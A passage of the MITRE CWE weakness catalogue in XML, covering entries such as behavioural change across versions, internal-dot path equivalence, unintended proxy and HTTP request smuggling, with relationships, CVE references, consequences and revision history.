				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>HTTP request smuggling is an attack against an intermediary such as
						a proxy. This attack works because the proxy expects the client to parse
						HTTP headers one way, but the client parses them differently.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Anti-virus products that reside on mail servers can suffer from this
						issue if they do not know how a mail client will handle a particular
						attachment. The product might treat an attachment type as safe, not knowing
						that the client's configuration treats it as executable.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Extra Unhandled Features</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Extra Unhandled
						Features</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="439" Name="Behavioral Change in New Version or Environment" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A's behavior or functionality changes with a new version of A,
					or a new environment, which is not known (or manageable) by
					B.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>438</Relationship_Target_ID>
					          <!--Behavioral Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>435</Relationship_Target_ID>
					          <!--Interaction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Functional change</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1976</Observed_Example_Reference>
					          <Observed_Example_Description>Linux kernel 2.2 and above allow promiscuous mode
						using a different method than previous versions, and ifconfig is not aware
						of the new method (alternate path property).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1711</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses defunct method from another product
						that does not return an error code and allows detection
						avoidance.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0411</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Code was ported from a case-sensitive Unix
						platform to a case-insensitive Windows platform where filetype handlers
						treat .jsp and .JSP as different extensions. JSP source code may be read
						because .JSP defaults to the filetype "text".
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>CHANGE Behavioral Change</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Behavioral
						Change</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="44" Name="Path Equivalence: 'file.name' (Internal Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					internal dot ('file.ordir') without appropriate validation can lead to ambiguous
					path resolution and allow an attacker to traverse the file system to unintended
					locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This variant does not have any easily findable, publicly reported
						vulnerabilities, but it can be an effective manipulation in weaknesses such
						as validate-before-cleanse, which might remove a dot from a string to
						produce an unexpected string.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Internal Dot - 'file.ordir'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Internal Dot -
						'file.ordir'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="440" Name="Expected Behavior Violation" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A feature, API, or function being used by a product behaves
					differently than the product expects.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>684</Relationship_Target_ID>
					          <!--Incorrect Provision of Specified Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>438</Relationship_Target_ID>
					          <!--Behavioral Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0187</Observed_Example_Reference>
					          <Observed_Example_Description>Inconsistency in support of linked lists causes
						program to use large timeouts on "undeserving"
						connections.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0465</Observed_Example_Reference>
					          <Observed_Example_Description>"strncpy" in Linux kernel acts different than libc
						on x86, leading to expected behavior difference - sort of a multiple
						interpretation error?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3265</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow in product stems to the use of a
						third party library function that is expected to have internal protection
						against overflows, but doesn't.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>The consistency dimension of validity is the most appropriate relevant
						property of an expected behavior violation. That is, the behavior of the
						application is not consistent with the expectations of the developer,
						leading to a violation of the validity property of the software.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Expected behavior violation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Relevant_Properties,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="441" Name="Unintended Proxy/Intermediary" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product can be used as an intermediary or proxy between an
					attacker and the ultimate target, so that the attacker can either bypass access
					controls or hide activities.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>418</Relationship_Target_ID>
					          <!--Channel Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry is currently a child of CWE-610 under view 1000, however there
						is also a relationship with CWE-668 because the resulting proxy effectively
						exposes the victims control sphere to the attacker. This should possibly be
						considered as an emergent resource.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Enforce the use of strong mutual authentication mechanism between the
							two parties.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0168</Observed_Example_Reference>
					          <Observed_Example_Description>Portmapper could redirect service requests from an
						attacker to another entity, which thinks the requests came from the
						portmapper.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0315</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server does not ensure that the IP address in
						a PORT command is the same as the FTP user's session, allowing port scanning
						by proxy.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1484</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows attackers to request a URL from
						another server, including other ports, which allows proxied
						scanning.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2061</Observed_Example_Reference>
					          <Observed_Example_Description>CGI script accepts and retrieves incoming
						URLs.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1484</Observed_Example_Reference>
					          <Observed_Example_Description>MFV - bounce attack allows access to TFTP from
						trusted side.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0017</Observed_Example_Reference>
					          <Observed_Example_Description>FTP bounce attack. Protocol allows attacker to
						modify the PORT command to cause the FTP server to connect to other machines
						besides the attacker's. Similar to proxied trusted
						channel.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unintended proxy/intermediary</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Proxied Trusted Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Routing Detour </Mapped_Node_Name>
					          <Mapped_Node_ID>32</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>141</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>219</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>465</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="443" Name="DEPRECATED (Duplicate): HTTP response splitting" Status="Deprecated" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>This weakness can be found at CWE-113.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="444" Name="Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>When malformed or abnormal HTTP requests are interpreted by one
					or more entities in the data flow between the user and the web server, such as a
					proxy or firewall, they can be interpreted inconsistently, allowing the attacker
					to "smuggle" a request to one device without the other device being aware of
					it.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Request smuggling can be performed due to a multiple interpretation error,
						where the target is an intermediary or monitor, via a consistency
						manipulation (Transfer-Encoding and Content-Length headers).</Text>
					          <Text>Resultant from CRLF injection.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could create a request to exploit a number of weaknesses
							including 1) the request can trick the web server to associate a URL
							with another URLs webpage and caching the contents of the webpage (web
							cache poisoning attack), 2) the request can be structured to bypass the
							firewall protection mechanisms and gain unauthorized access to a web
							application, and 3) the request can invoke a script or a page that
							returns client credentials (similar to a Cross Site Scripting
							attack).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
